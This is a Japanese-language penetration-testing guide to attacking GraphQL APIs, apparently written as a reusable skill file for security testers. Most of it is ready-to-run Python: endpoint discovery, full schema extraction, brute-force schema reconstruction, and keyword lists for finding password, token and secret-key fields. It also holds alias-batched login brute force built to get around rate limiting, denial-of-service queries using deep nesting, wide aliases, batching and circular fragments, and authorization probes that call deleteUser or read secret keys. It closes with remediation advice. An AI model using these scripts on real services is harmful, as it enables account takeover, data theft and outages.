performing-graphql-introspection-attack

GraphQL イントロスペクション攻撃の実施

使用する状況

• GraphQL エンドポイントで、API スキーマ全体を明らかにするイントロスペクションが公開されていないかテストする場合
• GraphQL API の攻撃対象領域をマッピングし、機密性の高いクエリ、ミューテーション、型を特定する場合
• クエリの深さの悪用、バッチ処理攻撃、フィールドレベルの認可など、GraphQL 固有の脆弱性をテストする場合
• イントロスペクションは無効になっているものの、エラーメッセージからスキーマを再構築できる GraphQL 実装を評価する場合
• 深くネストされた複雑な GraphQL クエリによるリソース枯渇への防御を評価する場合

書面による許可なしに使用しないでください。スキーマの抽出やクエリの悪用テストは、サービスの可用性に影響を与える可能性があります。

前提条件

• GraphQL エンドポイントとテスト範囲を指定した書面による許可
• スキーマを自動分析するための InQL 拡張機能（v6.1+）を備えた Burp Suite Professional
• requests ライブラリと gql ライブラリを含む Python 3.10+
• スキーマを可視化するための GraphQL Voyager または GraphQL Playground
• イントロスペクションが無効になっている場合にスキーマを再構築するための Clairvoyance ツール
• GraphQL のフィールド名と型名を総当たりするためのワードリスト

**法的通知：**このスキルは、許可されたセキュリティテストおよび教育目的でのみ使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺に関する法律に違反する可能性があります。

ワークフロー

ステップ 1：GraphQL エンドポイントの検出

import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# Common GraphQL endpoint paths
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# Probe for GraphQL endpoints
for path in GRAPHQL_PATHS:
    # Test with a simple introspection query
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
            print(f"  Response: {resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # Also test GET method
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
    except requests.exceptions.RequestException:
        pass

ステップ 2：完全なイントロスペクションクエリ

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# Full introspection query to extract complete schema
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()
    if "data" in schema and "__schema" in schema["data"]:
        print("[VULNERABLE] Full introspection enabled")
        types = schema["data"]["__schema"]["types"]

        # Categorize types
        custom_types = [t for t in types if not t["name"].startswith("__")]
        queries = schema["data"]["__schema"]["queryType"]
        mutations = schema["data"]["__schema"].get("mutationType")

        print(f"\nSchema Summary:")
        print(f"  Custom Types: {len(custom_types)}")
        print(f"  Query Type: {queries['name'] if queries else 'None'}")
        print(f"  Mutation Type: {mutations['name'] if mutations else 'None'}")

        # List all custom types and their fields
        for t in custom_types:
            if t.get("fields"):
                print(f"\n  Type: {t['name']}")
                for field in t["fields"]:
                    field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
                    print(f"    - {field['name']}: {field_type}")

        # Save schema for further analysis
        with open("graphql_schema.json", "w") as f:
            json.dump(schema, f, indent=2)
        print("\nSchema saved to graphql_schema.json")
    else:
        print("[SECURED] Introspection disabled or restricted")
        print(f"Response: {resp.text[:500]}")
else:
    print(f"Request failed: {resp.status_code}")

ステップ 3：スキーマ内の機密データの特定

# Analyze the extracted schema for sensitive fields and types
SENSITIVE_INDICATORS = {
    "field_names": [
        "password", "passwordHash", "secret", "token", "apiKey", "ssn",
        "socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
        "privateKey", "internalId", "salary", "bankAccount", "taxId",
        "mfaSecret", "refreshToken", "sessionId", "debugInfo"
    ],
    "type_names": [
        "Admin", "Internal", "Debug", "Secret", "Private",
        "SystemConfig", "AuditLog", "PaymentInfo", "Credential"
    ],
    "mutation_names": [
        "deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
        "createAdmin", "disableMFA", "exportData", "deleteAuditLog",
        "updateConfig", "runMigration", "executeQuery"
    ]
}

if "data" in schema:
    print("\n=== Sensitive Schema Analysis ===\n")

    for t in custom_types:
        # Check type names
        for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
            if sensitive_type.lower() in t["name"].lower():
                print(f"[SENSITIVE TYPE] {t['name']}")

        # Check field names
        if t.get("fields"):
            for field in t["fields"]:
                for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
                    if sensitive_field.lower() in field["name"].lower():
                        print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")

    # Check mutation names
    if mutations:
        mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
        if mutation_type and mutation_type.get("fields"):
            for mutation in mutation_type["fields"]:
                for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
                    if sensitive_mut.lower() in mutation["name"].lower():
                        print(f"[SENSITIVE MUTATION] {mutation['name']}")

ステップ 4：イントロスペクションが無効な場合のスキーマ再構築

# Use field suggestion errors to reconstruct the schema
def bruteforce_field(type_name, field_wordlist):
    """Use GraphQL error messages to discover valid fields."""
    discovered_fields = []

    for field_name in field_wordlist:
        query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
        resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
        response_text = resp.text.lower()

        # GraphQL often suggests valid field names in error messages
        if "did you mean" in response_text:
            # Extract suggestions
            import re
            suggestions = re.findall(r'"(\w+)"', resp.text)
            for s in suggestions:
                if s not in discovered_fields:
                    discovered_fields.append(s)
                    print(f"  [DISCOVERED] {type_name}.{s} (via suggestion)")

        elif resp.status_code == 200 and "errors" not in resp.json():
            discovered_fields.append(field_name)
            print(f"  [VALID] {type_name}.{field_name}")

    return discovered_fields

# Common GraphQL field names wordlist
FIELD_WORDLIST = [
    "id", "name", "email", "username", "password", "role", "token",
    "createdAt", "updatedAt", "status", "type", "description", "title",
    "firstName", "lastName", "phone", "address", "avatar", "bio",
    "isAdmin", "isActive", "permissions", "groups", "orders", "items",
    "price", "quantity", "total", "currency", "paymentMethod",
    "ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
    "apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]

# Try to discover fields on common type names
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
    print(f"\nBrute-forcing fields on '{type_name}':")
    fields = bruteforce_field(type_name, FIELD_WORDLIST)

ステップ 5：GraphQL 攻撃手法

# Attack 1: Alias-based batching for brute force (bypasses rate limiting)
def alias_brute_force_login(usernames, password="Password123"):
    """Use GraphQL aliases to send multiple login attempts in one request."""
    aliases = []
    for i, username in enumerate(usernames[:100]):  # Max 100 per batch
        aliases.append(f"""
        attempt_{i}: login(username: "{username}", password: "{password}") {{
            token
            user {{ id email }}
        }}
        """)

    query = {"query": "mutation { " + " ".join(aliases) + " }"}
    resp = requests.post(GRAPHQL_URL, headers=headers, json=query)
    if resp.status_code == 200:
        data = resp.json().get("data", {})
        for key, value in data.items():
            if value and value.get("token"):
                print(f"[SUCCESS] {key}: token obtained")
    return resp

# Attack 2: Query depth attack (DoS)
def generate_deep_query(depth=50):
    """Generate a deeply nested query to test depth limits."""
    query = "{ users { friends " * depth
    query += "{ id name }" + " } " * depth + " }"
    return {"query": query}

deep_query = generate_deep_query(20)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=deep_query)
print(f"Depth 20 query: {resp.status_code}")
if resp.status_code == 200 and "errors" not in resp.json():
    print("[VULNERABLE] No query depth limit enforced")

# Attack 3: Field duplication attack (resource exhaustion)
def generate_wide_query(width=1000):
    """Repeat expensive fields many times using aliases."""
    fields = " ".join([f"field_{i}: users {{ id email name role }}" for i in range(width)])
    return {"query": "{ " + fields + " }"}

wide_query = generate_wide_query(500)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=wide_query)
print(f"Width 500 query: {resp.status_code}")

# Attack 4: Batched queries
batch_queries = [
    {"query": "{ users { id email } }"},
    {"query": "{ orders { id total } }"},
    {"query": "{ admin { settings } }"},
] * 100  # 300 queries in one request

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=batch_queries)
print(f"Batch 300 queries: {resp.status_code}")

# Attack 5: Circular fragment (DoS)
circular_query = {
    "query": """
    query {
      users {
        ...UserFields
      }
    }
    fragment UserFields on User {
      friends {
        ...UserFields
      }
    }
    """
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=circular_query)
print(f"Circular fragment: {resp.status_code}")

ステップ 6：フィールドレベルの認可テスト

# Test if different user roles can access the same fields
user_token = "Bearer <regular_user_token>"
admin_token_val = "Bearer <admin_token>"

# Query sensitive fields as regular user
sensitive_queries = [
    {
        "name": "User PII fields",
        "query": '{ users { id email ssn dateOfBirth salary internalNotes } }'
    },
    {
        "name": "Admin mutations",
        "query": 'mutation { deleteUser(id: "1002") { success } }'
    },
    {
        "name": "System config",
        "query": '{ systemConfig { databaseUrl secretKey apiKeys } }'
    },
    {
        "name": "Audit logs",
        "query": '{ auditLogs { action userId ipAddress timestamp } }'
    },
]

for sq in sensitive_queries:
    # Test as regular user
    resp_user = requests.post(GRAPHQL_URL,
        headers={**headers, "Authorization": user_token},
        json={"query": sq["query"]})

    # Test as admin
    resp_admin = requests.post(GRAPHQL_URL,
        headers={**headers, "Authorization": admin_token_val},
        json={"query": sq["query"]})

    user_ok = resp_user.status_code == 200 and "errors" not in resp_user.json()
    admin_ok = resp_admin.status_code == 200 and "errors" not in resp_admin.json()

    if user_ok and admin_ok:
        print(f"[BFLA] {sq['name']}: Both user and admin can access")
    elif user_ok and not admin_ok:
        print(f"[ANOMALY] {sq['name']}: User can access but admin cannot")
    elif not user_ok and admin_ok:
        print(f"[SECURE] {sq['name']}: Only admin can access")
    else:
        print(f"[BLOCKED] {sq['name']}: Neither can access")

主要な概念

用語	定義
GraphQL イントロスペクション	スキーマ定義をクエリする組み込み機能です。API で利用可能なすべての型、フィールド、クエリ、ミューテーション、サブスクリプションが明らかになります
クエリ深度攻撃	深くネストされたクエリを送信し、リゾルバーの実行を指数関数的に増加させます。サーバーリソースを消費し、DoS を引き起こす可能性があります
エイリアスベースのバッチ処理	GraphQL エイリアスを使って1つのリクエスト内で複数の操作を実行し、リクエスト単位のレート制限を回避します
スキーマ再構築	イントロスペクションが無効になっている場合に、エラーメッセージやフィールドの候補を分析して GraphQL スキーマを再構築します
フィールドレベルの認可	認証されたユーザーのロールまたは権限に基づいて、GraphQL 型内の個々のフィールドへのアクセスを制御します
クエリ複雑度分析	GraphQL クエリの実行前に計算コストを算出し、リソース制限を適用します

ツールとシステム

• InQL（Burp Suite 拡張機能）：スキーマの総当たりに対応した、GraphQL イントロスペクション、スキーマ分析、攻撃生成の自動化
• Clairvoyance：イントロスペクションが無効になっている場合でも、エラーを利用したフィールド検出によってスキーマを再構築するツール
• GraphQL Voyager：イントロスペクションの結果からインタラクティブな図を生成する、視覚的なスキーマエクスプローラー
• Altair GraphQL Client：認証に対応し、クエリの作成とテストができる多機能な GraphQL IDE
• graphql-cop：イントロスペクション、フィールド候補、クエリ制限など、よくある設定ミスをテストする GraphQL セキュリティ監査ツール

よくあるシナリオ

シナリオ：E コマース GraphQL API のセキュリティ評価

コンテキスト：ある E コマースプラットフォームが REST から GraphQL に移行しました。GraphQL エンドポイントは、ウェブとモバイルのフロントエンドにサービスを提供しています。開発中に有効にしたイントロスペクションが、本番環境で無効化されていませんでした。

アプローチ：

1. /graphql エンドポイントに対して完全なイントロスペクションクエリを実行し、45 個の型、120 個のクエリ、38 個のミューテーションを含むスキーマ全体を抽出します
2. 機密性の高い型を特定します：AdminUser、PaymentInfo、InternalConfig、AuditLog
3. User 型が passwordHash、mfaSecret、lastLoginIp フィールドを公開していることを発見します
4. 一般ユーザーがアクセスできる管理者向けミューテーションを見つけます：deleteUser、updateRole、exportAllOrders
5. クエリの深さをテストします：制限が適用されておらず、深さ 50 レベルのネストされたクエリが正常に実行され、完了までに 45 秒かかります
6. エイリアスのバッチ処理をテストします：1 回のリクエストで 1000 件のログイン試行を行い、レート制限を回避します
7. バッチクエリをテストします：制限なしで 500 件のクエリの配列が受け入れられます
8. スキーマから、databaseConnectionString と stripeSecretKey フィールドを含む内部の InternalConfig 型が明らかになります

注意点：

• スキーマを発見する方法はイントロスペクションだけだと思い込むこと（イントロスペクションが無効でも、エラーメッセージやフィールドの候補から情報が明らかになることがあります）
• ミューテーションをテストしないこと（ミューテーションは、多くの場合、クエリよりも認可が弱くなっています）
• 認証なしでリアルタイムのデータストリームを公開する可能性のあるサブスクリプションエンドポイントを見逃すこと
• 高負荷なデータベース操作を引き起こす現実的なペイロードを使って、クエリの複雑度制限をテストしないこと
• WebSocket 経由の GraphQL（サブスクリプション）では、認証要件が異なる場合があることを無視すること

出力形式

## Finding: GraphQL Introspection Enabled with Sensitive Schema Exposure

**ID**: API-GQL-001
**Severity**: High (CVSS 7.5)
**Affected Endpoint**: POST /graphql
**Tools Used**: InQL, Clairvoyance, custom Python scripts

**Description**:
The GraphQL endpoint has introspection enabled in production, exposing
the complete API schema including 45 types, 120 queries, and 38 mutations.
The schema reveals sensitive internal types (AdminUser, PaymentInfo,
InternalConfig) and exposes fields containing password hashes, MFA secrets,
and database connection strings. No query depth or complexity limits are
enforced, enabling denial-of-service through nested queries.

**Schema Highlights**:
- User.passwordHash: bcrypt hash exposed
- User.mfaSecret: TOTP secret exposed (allows MFA bypass)
- InternalConfig.databaseConnectionString: Production DB credentials
- InternalConfig.stripeSecretKey: Payment processing API key
- 12 admin mutations accessible to regular users

**Impact**:
An attacker can extract the complete API schema, identify sensitive
fields, access password hashes and MFA secrets for any user, retrieve
production database credentials, and execute admin-only mutations.

**Remediation**:
1. Disable introspection in production: set introspection to false in the GraphQL server config
2. Implement field-level authorization using GraphQL directives (@auth, @hasRole)
3. Remove sensitive fields from the schema or restrict them with authorization middleware
4. Implement query depth limiting (max 10 levels) and complexity scoring
5. Disable field suggestions in error messages to prevent schema reconstruction
6. Rate limit GraphQL requests per query, not just per HTTP request